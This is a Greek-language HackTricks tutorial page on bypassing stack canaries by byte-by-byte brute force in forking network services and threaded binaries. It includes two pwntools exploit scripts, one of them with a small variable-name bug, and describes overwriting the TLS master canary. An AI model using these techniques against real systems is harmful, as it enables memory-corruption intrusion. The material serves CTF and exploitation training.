BF Forked & Threaded Stack Canaries

Reading time: 5 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Αν αντιμετωπίζετε ένα δυαδικό αρχείο που προστατεύεται από ένα canary και PIE (Position Independent Executable) πιθανότατα χρειάζεστε να βρείτε έναν τρόπο να τα παρακάμψετε.

note

Σημειώστε ότι checksec μπορεί να μην εντοπίσει ότι ένα δυαδικό αρχείο προστατεύεται από ένα canary αν αυτό έχει στατικά μεταγλωττιστεί και δεν είναι ικανό να εντοπίσει τη λειτουργία.
Ωστόσο, μπορείτε να το παρατηρήσετε χειροκίνητα αν διαπιστώσετε ότι μια τιμή αποθηκεύεται στο στοίβα στην αρχή μιας κλήσης λειτουργίας και αυτή η τιμή ελέγχεται πριν την έξοδο.

Brute force Canary

Ο καλύτερος τρόπος για να παρακάμψετε ένα απλό canary είναι αν το δυαδικό αρχείο είναι ένα πρόγραμμα που δημιουργεί παιδικές διεργασίες κάθε φορά που καθορίζετε μια νέα σύνδεση με αυτό (υπηρεσία δικτύου), επειδή κάθε φορά που συνδέεστε σε αυτό το ίδιο canary θα χρησιμοποιείται.

Έτσι, ο καλύτερος τρόπος για να παρακάμψετε το canary είναι απλώς να το παρακάμψετε με brute-force χαρακτήρα προς χαρακτήρα, και μπορείτε να καταλάβετε αν το μαντεμένο byte του canary ήταν σωστό ελέγχοντας αν το πρόγραμμα έχει καταρρεύσει ή συνεχίζει τη κανονική του ροή. Σε αυτό το παράδειγμα η λειτουργία παρακάμπτει ένα canary 8 Bytes (x64) και διακρίνει μεταξύ ενός σωστά μαντεμένου byte και ενός κακού byte απλώς ελέγχοντας αν μια απάντηση επιστρέφεται από τον διακομιστή (ένας άλλος τρόπος σε άλλη κατάσταση θα μπορούσε να είναι η χρήση ενός try/except):

Example 1

Αυτό το παράδειγμα έχει υλοποιηθεί για 64 bits αλλά θα μπορούσε να υλοποιηθεί εύκολα και για 32 bits.

python
from pwn import *

def connect():
r = remote("localhost", 8788)

def get_bf(base):
canary = ""
guess = 0x0
base += canary

while len(canary) < 8:
while guess != 0xff:
r = connect()

r.recvuntil("Username: ")
r.send(base + chr(guess))

if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()

print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base

canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary

Παράδειγμα 2

Αυτό έχει υλοποιηθεί για 32 bits, αλλά αυτό θα μπορούσε να αλλάξει εύκολα σε 64 bits.
Επίσης σημειώστε ότι για αυτό το παράδειγμα το πρόγραμμα αναμένει πρώτα ένα byte για να υποδείξει το μέγεθος της εισόδου και το payload.

python
from pwn import *

# Here is the function to brute force the canary
def breakCanary():
known_canary = b""
test_canary = 0x0
len_bytes_to_read = 0x21

for j in range(0, 4):
# Iterate up to 0xff times to brute force all posible values for byte
for test_canary in range(0xff):
print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")

# Send the current input size
target.send(len_bytes_to_read.to_bytes(1, "little"))

# Send this iterations canary
target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))

# Scan in the output, determine if we have a correct value
output = target.recvuntil(b"exit.")
if b"YUM" in output:
# If we have a correct value, record the canary value, reset the canary value, and move on
print(" - next byte is: " + hex(test_canary))
known_canary = known_canary + test_canary.to_bytes(1, "little")
len_bytes_to_read += 1
break

# Return the canary
return known_canary

# Start the target process
target = process('./feedme')
#gdb.attach(target)

# Brute force the canary
canary = breakCanary()
log.info(f"The canary is: {canary}")

Νήματα

Τα νήματα της ίδιας διαδικασίας θα μοιράζονται το ίδιο canary token, επομένως θα είναι δυνατό να brute-force ένα canary αν το δυαδικό δημιουργεί ένα νέο νήμα κάθε φορά που συμβαίνει μια επίθεση.

Επιπλέον, μια υπερχείλιση buffer σε μια λειτουργία με νήματα που προστατεύεται με canary θα μπορούσε να χρησιμοποιηθεί για να τροποποιήσει το master canary που αποθηκεύεται στο TLS. Αυτό συμβαίνει επειδή, μπορεί να είναι δυνατό να φτάσουμε στη θέση μνήμης όπου αποθηκεύεται το TLS (και επομένως, το canary) μέσω μιας bof στο stack ενός νήματος.
Ως αποτέλεσμα, η μείωση είναι άχρηστη επειδή ο έλεγχος χρησιμοποιείται με δύο canaries που είναι τα ίδια (αν και τροποποιημένα).
Αυτή η επίθεση εκτελείται στην αναφορά: http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads

Δείτε επίσης την παρουσίαση του https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015 που αναφέρει ότι συνήθως το TLS αποθηκεύεται με mmap και όταν δημιουργείται ένα stack ενός νήματος παράγεται επίσης από mmap σύμφωνα με αυτό, το οποίο μπορεί να επιτρέπει την υπερχείλιση όπως φαίνεται στην προηγούμενη αναφορά.

Άλλα παραδείγματα & αναφορές